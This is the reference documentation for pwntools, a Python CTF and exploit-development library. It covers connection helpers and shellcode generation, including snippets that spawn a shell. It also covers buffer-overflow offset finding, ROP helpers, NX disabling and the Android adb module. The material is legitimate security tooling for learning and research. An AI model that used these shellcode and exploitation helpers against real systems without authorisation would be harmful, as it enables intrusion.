pwntools Documentation

Release 3.12.1

2016, Gallopsled et al.

Oct 17, 2018

Contents

`pwntools` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

The primary location for this documentation is at docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:

- Stable
- Beta
- Dev

Getting Started

1.1 About pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing `from pwn import *` in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a "normal" python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. *pwnlib* would be our nice, clean Python module, while *pwn* would be used during CTFs.

1.1.1 `pwn` — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel *pwnlib* along with functions from a lot of submodules. This means that if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
- Calls *pwnlib.term.init()* to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the `pwnlib.context.log_level` to *"info"*.
- Tries to parse some of the values in `sys.argv` and every value it succeeds in parsing it removes.

1.1.2 `pwnlib` — Normal python library

This module is our "clean" python-code. As a rule, we do not think that importing *pwnlib* or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance not get access to *pwnlib.util.packing* simply by doing `import pwnlib.util`.

Though there are a few exceptions (such as *pwnlib.shellcraft*), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of `pwntools`, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of `binutils` to be installed. We've made this process as smooth as we can.

In these examples, replace `$ARCH` with your target architecture (e.g., arm, mips64, vax, etc.).

Building *binutils* from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

For Ubuntu 12.04 through 15.10, you must first add the pwntools Personal Package Archive repository.

Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the binutils for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building binutils from source. However, we've made `homebrew` recipes to make this a single command. After installing brew, grab the appropriate recipe from our binutils repo.

```
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/
↪osx/binutils-$ARCH.rb
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, `binutils` is simple to build by hand.

```bash
#!/usr/bin/env bash

V=2.25   # Binutils Version
ARCH=arm # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig

gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils-$V.tar.gz.sig

tar xf binutils-$V.tar.gz

mkdir binutils-build
cd binutils-build

export AR=ar
export AS=as

../binutils-$V/configure \
    --prefix=/usr/local \
    --target=$ARCH-unknown-linux-gnu \
    --disable-static \
    --disable-multilib \
    --disable-werror \
    --disable-nls

MAKE=gmake
hash gmake || MAKE=make

$MAKE -j clean all
sudo $MAKE install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto).

In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a `pip` package.

```
$ apt-get update
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-
↪essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools
```

1.2.3 Development

If you are hacking on Pwntools locally, you'll want to do something like this:

```
$ git clone https://github.com/Gallopsled/pwntools
$ pip install --upgrade --editable ./pwntools
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the "kitchen sink" approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on *from pwn import **.

1.3.1 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its *pwnlib. tubes* module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via *pwnlib.tubes.remote*.

```
>>> conn = remote('ftp.ubuntu.com',21)
>>> conn.recvline()
'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
'331'
>>> conn.recvline()
'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
```

(continues on next page)

```
>>> r.send('hello')
>>> c.recv()
'hello'
```

Interacting with processes is easy thanks to *pwnlib.tubes.process*.

```
>>> sh = process('/bin/sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive()
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with *pwnlib.tubes.ssh*. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',
→port=2220)
>>> shell['whoami']
'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> shell.close()
```

1.3.2 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in struct module.

pwntools makes this easier with *pwnlib.util.packing*. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8('A') == 0x41
True
```

1.3.3 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0 \xe3'
```

However, it can also be set once in the global `context`. The operating system, word size, and endianness can also be set here.

```
>>> context.arch      = 'i386'
>>> context.os        = 'linux'
>>> context.endian    = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
'\xe3 \xf0\x00'
```

1.3.4 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via `context`.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a `tube` to be printed to the screen.

1.3.5 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The *pwnlib.asm* module is full of awesome.

```
>>> asm('mov eax, 0').encode('hex')
'b800000000'
```

But if you do, it's easy to suss out!

```
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
   0:   6a 02                   push   0x2
   2:   58                      pop    eax
   3:   cd 80                   int    0x80
   5:   eb f9                   jmp    0x0
```

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the *pwnlib.shellcraft* module, which is loaded with useful time-saving shellcodes.

Let's say that we want to *setreuid(getuid(), getuid())* followed by *dup'ing file descriptor 4 to 'stdin*, *stdout*, and *stderr*, and then pop a shell!

```
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex')
'6a3158cd80...'
```

1.3.6 Misc Tools

Never write another hexdump, thanks to *pwnlib.util.fiddling*.

Find offsets in your buffer that cause a crash, thanks to pwnlib.cyclic.

```
>>> print cyclic(20)
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
>>> print cyclic_find('faab')
120
```

1.3.7 ELF Manipulation

Stop hard-coding things! Look them up at runtime with *pwnlib.elf*.

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address, 4)
'\x7fELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat','rb').read(1))
'   0:   c3                      ret'
```

1.4 `from pwn import *`

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

- *pwnlib.context*

    - *pwnlib.context.context*

    - Responsible for most of the pwntools convenience settings

    - Set *context.log_level = 'debug'* when troubleshooting your exploit

    - Scope-aware, so you can disable logging for a subsection of code via *ContextType.local()*

- **remote**, **listen**, **ssh**, **process**

    - *pwnlib.tubes*

    - Super convenient wrappers around all of the common functionality for CTF challenges

    - Connect to anything, anywhere, and it works the way you want it to

    - Helpers for common tasks like recvline, recvuntil, clean, etc.

    - Interact directly with the application via .interactive()

- **p32 and u32**

    - *pwnlib.util.packing*

    - Useful functions to make sure you never have to remember if '>' means signed or unsigned for struct.pack, and no more ugly [0] index at the end.

    - Set signed and endian in sane manners (also these can be set once on context and not bothered with again)

    - Most common sizes are pre-defined (u8, u64, etc), and *pwnlib.util.packing.pack()* lets you define your own.

- **log**

    - *pwnlib.log*

    - Make your output pretty!

- **cyclic and cyclic_func**

    - *pwnlib.util.cyclic*

    - Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer.

- **asm and disasm**

    - *pwnlib.asm*

    - Quickly turn assembly into some bytes, or vice-versa, without mucking about

    - Supports any architecture for which you have a binutils installed

    - Over 20 different architectures have pre-built binaries at ppa:pwntools/binutils.

- **shellcraft**

    - *pwnlib.shellcraft*

    - Library of shellcode ready to go

    - asm(shellcraft.sh()) gives you a shell

    - Templating library for reusability of shellcode fragments

- **ELF**

- *pwnlib.elf*

    - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk

- **DynELF**

    - *pwnlib.dynelf*

    - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address

- **ROP**

    - pwnlib.rop

    - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses

- **gdb.debug and gdb.attach**

    - *pwnlib.gdb*

    - Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting breakpoints and makes iteration on exploits MUCH faster.

    - Alternately, attach to a running process given a PID, *pwnlib.tubes* object, or even just a socket that's connected to it

- **args**

    - Dictionary containing all-caps command-line arguments for quick access

    - Run via python foo.py REMOTE=1 and args['REMOTE'] == '1'.

    - **Can also control logging verbosity and terminal fanciness**

        * *NOTERM*

        * *SILENT*

        * *DEBUG*

- **randoms, rol, ror, xor, bits**

    - *pwnlib.util.fiddling*

    - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with *0xffffffff* or calling *ord* and *chr* an ugly number of times

- **net**

    - *pwnlib.util.net*

    - Routines for querying about network interfaces

- **proc**

    - *pwnlib.util.proc*

    - Routines for querying about processes

- **pause**

    - It's the new getch

- **safeeval**

    - *pwnlib.util.safeeval*

– Functions for safely evaluating python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- `hexdump`

- `read` and `write`

- `enhex` and `unhex`

- `more`

- `group`

- `align` and `align_down`

- `urlencode` and `urldecode`

- `which`

- `wget`

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- `os`

- `sys`

- `time`

- `requests`

- `re`

- `random`

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

1.5.1 pwn

Pwntools Command-line Interface

```
usage: pwn [-h]
           {asm,checksec,constgrep,cyclic,debug,disasm,disablenx,elfdiff,elfpatch,
→errno,hex,phd,pwnstrip,scramble,shellcraft,template,unhex,update}
           ...
```

-h, --help
    show this help message and exit

pwn asm

```
usage: pwn asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context]
               [-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r]
               [line [line ...]]
```

line
> Lines to assemble. If none are supplied, use stdin

-h, **--help**
> show this help message and exit

-f {raw,hex,string,elf}, **--format** {raw,hex,string,elf}
> Output format (defaults to hex for ttys, otherwise raw)

-o <file>, **--output** <file>
> Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
> The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
> '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
> 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
> 'little', 'big', 'el', 'le', 'be', 'eb']

-v <avoid>, **--avoid** <avoid>
> Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)

-n, **--newline**
> Encode the shellcode to avoid newlines

-z, **--zero**
> Encode the shellcode to avoid NULL bytes

-d, **--debug**
> Debug the shellcode with GDB

-e <encoder>, **--encoder** <encoder>
> Specific encoder to use

-i <infile>, **--infile** <infile>
> Specify input file

-r, **--run**
> Run output

pwn checksec

```
usage: pwn checksec [-h] [--file [elf [elf ...]]] [elf [elf ...]]
```

elf
> Files to check

-h, **--help**
> show this help message and exit

--file <elf>
> File to check (for compatibility with checksec.sh)

pwn constgrep

```
usage: pwn constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os]
                     [regex] [constant]
```

regex
> The regex matching constant you want to find

constant
> The constant to find

-h, --help
> show this help message and exit

-e <constant>, **--exact** <constant>
> Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive
> Search case insensitive

-m, --mask-mode
> Instead of searching for a specific constant value, search for values not containing strictly less bits that the given
> value.

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
> The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
> '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
> 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
> 'little', 'big', 'el', 'le', 'be', 'eb']

pwn cyclic

```
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
                  [-l lookup_value]
                  [count]
```

count
> Number of characters to print

-h, --help
> show this help message and exit

-a <alphabet>, **--alphabet** <alphabet>
> The alphabet to use in the cyclic pattern (defaults to all lower case letters)

-n <length>, **--length** <length>
> Size of the unique subsequences (defaults to 4).

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
> The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
> '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
> 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
> 'little', 'big', 'el', 'le', 'be', 'eb']

-l <lookup_value>, **-o** <lookup_value>, **--offset** <lookup_value>, **--lookup** <lookup_value>
> Do a lookup instead printing the alphabet

pwn debug

```
usage: pwn debug [-h] [-x GDBSCRIPT] [--pid PID] [-c context]
                 [--exec EXECUTABLE] [--process PROCESS_NAME]
                 [--sysroot SYSROOT]
```

-h, --help
> show this help message and exit

-x <gdbscript>
    Execute GDB commands from this file.

--pid <pid>
    PID to attach to

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
    The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
    '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
    'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
    'little', 'big', 'el', 'le', 'be', 'eb']

--exec <executable>
    File to debug

--process <process_name>
    Name of the process to attach to (e.g. "bash")

--sysroot <sysroot>
    GDB sysroot path

pwn disablenx

```
usage: pwn disablenx [-h] elf [elf ...]
```

elf
    Files to check

-h, --help
    show this help message and exit

pwn disasm

```
usage: pwn disasm [-h] [-c arch_or_os] [-a address] [--color] [--no-color]
                  [hex [hex ...]]
```

hex
    Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.

-h, --help
    show this help message and exit

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
    The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
    '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
    'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
    'little', 'big', 'el', 'le', 'be', 'eb']

-a <address>, **--address** <address>
    Base address

--color
    Color output

--no-color
    Disable color output

pwn elfdiff

```
usage: pwn elfdiff [-h] a b
```

a

b

-h, --help
> show this help message and exit

pwn elfpatch

```
usage: pwn elfpatch [-h]
```

-h, --help
> show this help message and exit

pwn errno

```
usage: pwn errno [-h] error
```

error
> Error message or value

-h, --help
> show this help message and exit

pwn hex

```
usage: pwn hex [-h] [data [data ...]]
```

data
> Data to convert into hex

-h, --help
> show this help message and exit

pwn phd

```
usage: pwn phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP]
               [-c COUNT] [-o OFFSET] [--color [{always,never,auto}]]
               [file]
```

file
> File to hexdump. Reads from stdin if missing.

-h, --help
> show this help message and exit

-w <width>, **--width** <width>
> Number of bytes per line.

-l <highlight>, **--highlight** <highlight>
Byte to highlight.

-s <skip>, **--skip** <skip>
Skip this many initial bytes.

-c <count>, **--count** <count>
Only show this many bytes.

-o <offset>, **--offset** <offset>
Addresses in left hand column starts at this address.

--color {always,never,auto}
Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

pwn pwnstrip

```
usage: pwn pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file
```

file

-h, **--help**
show this help message and exit

-b, **--build-id**
Strip build ID

-p <function>, **--patch** <function>
Patch function

-o <output>, **--output** <output>

pwn scramble

```
usage: pwn scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p]
                    [-v AVOID] [-n] [-z] [-d]
```

-h, **--help**
show this help message and exit

-f {raw,hex,string,elf}, **--format** {raw,hex,string,elf}
Output format (defaults to hex for ttys, otherwise raw)

-o <file>, **--output** <file>
Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',
'64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',
'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm',
'little', 'big', 'el', 'le', 'be', 'eb']

-p, **--alphanumeric**
Encode the shellcode with an alphanumeric encoder

-v <avoid>, **--avoid** <avoid>
Encode the shellcode to avoid the listed bytes

–n, --newline
    Encode the shellcode to avoid newlines

–z, --zero
    Encode the shellcode to avoid NULL bytes

–d, --debug
    Debug the shellcode with GDB

pwn shellcraft

```
usage: pwn shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a]
                      [-v AVOID] [-n] [-z] [-r] [--color] [--no-color]
                      [--syscalls] [--address ADDRESS] [-l] [-s]
                      [shellcode] [arg [arg ...]]
```

shellcode
    The shellcode you want

arg
    Argument to the chosen shellcode

–h, --help
    show this help message and exit

–?, --show
    Show shellcode documentation

–o <file>, **--out** <file>
    Output file (default: stdout)

–f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,escaped,default}, **--format**
    Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i,
    {a}ssembly code, {p}reprocssed code, escape{d} hex string

–d, --debug
    Debug the shellcode with GDB

–b, --before
    Insert a debug trap before the code

–a, --after
    Insert a debug trap after the code

–v <avoid>, **--avoid** <avoid>
    Encode the shellcode to avoid the listed bytes

–n, --newline
    Encode the shellcode to avoid newlines

–z, --zero
    Encode the shellcode to avoid NULL bytes

–r, --run
    Run output

--color
    Color output

--no-color
    Disable color output

--syscalls
> List syscalls

--address <address>
> Load address

-l, --list
> List available shellcodes, optionally provide a filter

-s, --shared
> Generated ELF is a shared library

pwn template

```
usage: pwn template [-h] [--host HOST] [--port PORT] [--user USER]
                    [--pass PASSWORD] [--path PATH] [--quiet]
                    [exe]
```

exe
> Target binary

-h, --help
> show this help message and exit

--host <host>
> Remote host / SSH server

--port <port>
> Remote port / SSH port

--user <user>
> SSH Username

--pass <password>
> SSH Password

--path <path>
> Remote path of file on SSH server

--quiet
> Less verbose template comments

pwn unhex

```
usage: pwn unhex [-h] [hex [hex ...]]
```

hex
> Hex bytes to decode

-h, --help
> show this help message and exit

pwn update

```
usage: pwn update [-h] [--install] [--pre]
```

-h, --help
> show this help message and exit

--install
> Install the update automatically.

--pre
> Check for pre-releases.

CHAPTER 2

Module Index

Each of the `pwntools` modules is documented here.

2.1 `pwnlib.adb` — Android Debug Bridge

Provides utilities for interacting with Android devices via the Android Debug Bridge.

2.1.1 Using Android Devices with Pwntools

Pwntools tries to be as easy as possible to use with Android devices.

If you have only one device attached, everything "just works".

If you have multiple devices, you have a handful of options to select one, or iterate over the devices.

First and most important is the `context.device` property, which declares the "currently" selected device in any scope. It can be set manually to a serial number, or to a `Device` instance.

```python
# Take the first available device
context.device = adb.wait_for_device()

# Set a device by serial number
context.device = 'ZX1G22LH8S'

# Set a device by its product name
for device in adb.devices():
    if device.product == 'shamu':
        break
else:
    error("Could not find any shamus!")
```

Once a device is selected, you can operate on it with any of the functions in the `pwnlib.adb` module.

```python
# Get a process listing
print adb.process(['ps']).recvall()

# Fetch properties
print adb.properties.ro.build.fingerprint

# Read and write files
print adb.read('/proc/version')
adb.write('/data/local/tmp/foo', 'my data')
```

class pwnlib.adb.adb.**AdbDevice**(*serial*, *type*, *port=None*, *product='unknown'*, *model='unknown'*, *device='unknown'*, *features=None*, ***kw*)

   Encapsulates information about a connected device.

   ### Example

```python
>>> device = adb.wait_for_device()
>>> device.arch
'arm'
>>> device.bits
32
>>> device.os
'android'
>>> device.product
'sdk_phone_armv7'
>>> device.serial
'emulator-5554'
```

pwnlib.adb.adb.**adb**(*argv*, **a*, ***kw*)

   Returns the output of an ADB subcommand.

```python
>>> adb.adb(['get-serialno'])
'emulator-5554\n'
```

pwnlib.adb.adb.**boot_time**() → int

   Returns Boot time of the device, in Unix time, rounded to the nearest second.

pwnlib.adb.adb.**build**(**a*, ***kw*)

   Returns the Build ID of the device.

pwnlib.adb.adb.**compile**(*source*)

   Compile a source file or project with the Android NDK.

pwnlib.adb.adb.**current_device**(*any=False*)

   Returns an AdbDevice instance for the currently-selected device (via context.device).

   ### Example

```python
>>> device = adb.current_device(any=True)
>>> device
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_
↪phone_armv7', model='sdk phone armv7', device='generic')
>>> device.port
'emulator'
```

pwnlib.adb.adb.**devices**(**a*, ***kw*)
    Returns a list of `Device` objects corresponding to the connected devices.

pwnlib.adb.adb.**disable_verity**(**a*, ***kw*)
    Disables dm-verity on the device.

pwnlib.adb.adb.**exists**(**a*, ***kw*)
    Return `True` if `path` exists on the target device.

Examples

```
>>> adb.exists('/')
True
>>> adb.exists('/init')
True
>>> adb.exists('/does/not/exist')
False
```

pwnlib.adb.adb.**fastboot**(**a*, ***kw*)
    Executes a fastboot command.

>   **Returns** The command output.

pwnlib.adb.adb.**find_ndk_project_root**(*source*)
    Given a directory path, find the topmost project root.

    tl;dr "foo/bar/jni/baz.cpp" ==> "foo/bar"

pwnlib.adb.adb.**fingerprint**(**a*, ***kw*)
    Returns the device build fingerprint.

pwnlib.adb.adb.**forward**(**a*, ***kw*)
    Sets up a port to forward to the device.

pwnlib.adb.adb.**getprop**(**a*, ***kw*)
    Reads a properties from the system property store.

>   **Parameters** **name** (*str*) – Optional, read a single property.

>   **Returns** If `name` is not specified, a `dict` of all properties is returned. Otherwise, a string is returned with the contents of the named property.

pwnlib.adb.adb.**install**(*apk*, **arguments*)
    Install an APK onto the device.

    This is a wrapper around 'pm install', which backs 'adb install'.

>   **Parameters**
>
>   - **apk** (*str*) – Path to the APK to intall (e.g. `'foo.apk'`)
>
>   - **arguments** – Supplementary arguments to 'pm install', e.g. `'-l', '-g'`.

pwnlib.adb.adb.**interactive**(**a*, ***kw*)
    Spawns an interactive shell.

pwnlib.adb.adb.**isdir**(**a*, ***kw*)
    Return `True` if `path` is a on the target device.

Examples

```
>>> adb.isdir('/')
True
>>> adb.isdir('/init')
False
>>> adb.isdir('/does/not/exist')
False
```

pwnlib.adb.adb.**listdir**(*a*, ***kw*)

Returns a list containing the entries in the provided directory.

> **Note:** This uses the SYNC LIST functionality, which runs in the adbd SELinux context. If adbd is running in the su domain ('adb root'), this behaves as expected.
>
> Otherwise, less files may be returned due to restrictive SELinux policies on adbd.

pwnlib.adb.adb.**logcat**(*a*, ***kw*)

Reads the system log file.

By default, causes logcat to exit after reading the file.

> **Parameters** **stream** (*bool*) – If `True`, the contents are streamed rather than read in a one-shot manner. Default is `False`.
>
> **Returns** If `stream` is `False`, returns a string containing the log data. Otherwise, it returns a *pwnlib.tubes.tube.tube* connected to the log output.

pwnlib.adb.adb.**makedirs**(*a*, ***kw*)

Create a directory and all parent directories on the target device.

> **Note:** Silently succeeds if the directory already exists.

Examples

```
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['heirarchy']
```

pwnlib.adb.adb.**mkdir**(*a*, ***kw*)

Create a directory on the target device.

> **Note:** Silently succeeds if the directory already exists.

> **Parameters** **path** (*str*) – Directory to create.

Examples

```
>>> adb.mkdir('/')
```

```
>>> path = '/data/local/tmp/mkdir_test'
>>> adb.exists(path)
False
>>> adb.mkdir(path)
>>> adb.exists(path)
True
```

```
>>> adb.mkdir('/init')
Traceback (most recent call last):
...
PwnlibException: mkdir failed for /init, File exists
```

pwnlib.adb.adb.**packages**(**a*, ***kw*)
> Returns a list of packages installed on the system

pwnlib.adb.adb.**pidof**(**a*, ***kw*)
> Returns a list of PIDs for the named process.

pwnlib.adb.adb.**proc_exe**(**a*, ***kw*)
> Returns the full path of the executable for the provided PID.

pwnlib.adb.adb.**process**(**a*, ***kw*)
> Execute a process on the device.
>
> See *pwnlib.tubes.process.process* documentation for more info.
>
> > **Returns** A *pwnlib.tubes.process.process* tube.

Examples

```
>>> adb.root()
>>> print adb.process(['cat','/proc/version']).recvall()
Linux version ...
```

pwnlib.adb.adb.**product**(**a*, ***kw*)
> Returns the device product identifier.

pwnlib.adb.adb.**pull**(**a*, ***kw*)
> Download a file from the device.
>
> > **Parameters**
> >
> > - **remote_path** (*str*) – Path or directory of the file on the device.
> > - **local_path** (*str*) – Path to save the file to. Uses the file's name by default.
> >
> > **Returns** The contents of the file.

Example

```
>>> _=adb.pull('/proc/version', './proc-version')
>>> print read('./proc-version')
Linux version ...
```

pwnlib.adb.adb.**push**(**a*, ***kw*)
> Upload a file to the device.

> Parameters
>
> > - **local_path** (*str*) – Path to the local file to push.
> >
> > - **remote_path** (*str*) – Path or directory to store the file on the device.
>
> Returns Remote path of the file.

Example

```
>>> write('./filename', 'contents')
>>> adb.push('./filename', '/data/local/tmp')
'/data/local/tmp/filename'
>>> adb.read('/data/local/tmp/filename')
'contents'
>>> adb.push('./filename', '/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

pwnlib.adb.adb.**read**(**a*, ***kw*)

> Download a file from the device, and extract its contents.
>
> > Parameters
> >
> > > - **path** (*str*) – Path to the file on the device.
> > >
> > > - **target** (*str*) – Optional, location to store the file. Uses a temporary file by default.
> > >
> > > - **callback** (*callable*) – See the documentation for adb.protocol.AdbClient.read.

Examples

```
>>> print adb.read('/proc/version')
Linux version ...
>>> adb.read('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

pwnlib.adb.adb.**reboot**(**a*, ***kw*)

> Reboots the device.

pwnlib.adb.adb.**reboot_bootloader**(**a*, ***kw*)

> Reboots the device to the bootloader.

